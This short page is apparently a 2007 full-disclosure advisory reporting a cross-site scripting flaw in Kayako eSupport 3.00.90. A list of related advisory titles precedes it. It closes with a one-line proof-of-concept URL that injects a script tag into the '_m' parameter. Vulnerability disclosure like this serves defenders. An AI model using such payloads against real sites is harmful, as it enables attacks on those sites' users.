Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Drake CMS (v0.4.0) - CRLF Injection Vulnerability

UPDATED: CubeCart (v3.0.15) - CRLF Injection Vulnerability

[Full-disclosure] Mini Web Shop v.2 vulnerable to XSS

NPDS <= 5.10 - Multiple SQL injections

From:	e1c4_(at)_hotmail.com <e1c4_(at)_hotmail.com>
Date:	07.05.2007
Subject:	Kayako eSupport v3.00.90 Cross Site Scripting (XSS)

Script: Kayako eSupport
Version: 3.00.90
Explored By: Red_Casper [United Arab HaCkers]
Proof:
[Path]/index.php?_m="><script>alert(1);</script>